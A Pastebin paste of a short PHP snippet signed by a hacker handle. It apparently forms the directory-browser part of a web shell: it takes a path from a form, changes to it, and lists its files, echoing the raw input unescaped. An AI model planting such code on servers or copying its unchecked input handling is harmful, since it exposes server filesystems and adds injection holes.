Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Coded By H4T3D :)
- // Demo >> http://viper-7.com/50OUkg/5.6.10?
- echo "<tr><td bgcolor=\"#CCCCCC\"><form action=\"\" method=\"POST\" name=\"ChDir\"> Dir path: <input type=\"text\" size=\"30\" name=\"dir\" value=\"".getcwd()."\"> <input type=\"submit\" value=\"Chdir\"></form></td></tr></table><br>";
- if(isset($_POST["dir"])){
- echo "Current Directories >> ".$_POST["dir"]."</br>";
- $dir=chdir($_POST["dir"]);
- $dir=$_POST["dir"];
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- echo "filename: $file : filetype: " . filetype($dir . $file) . "</br>\n";
- }
- closedir($dh);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement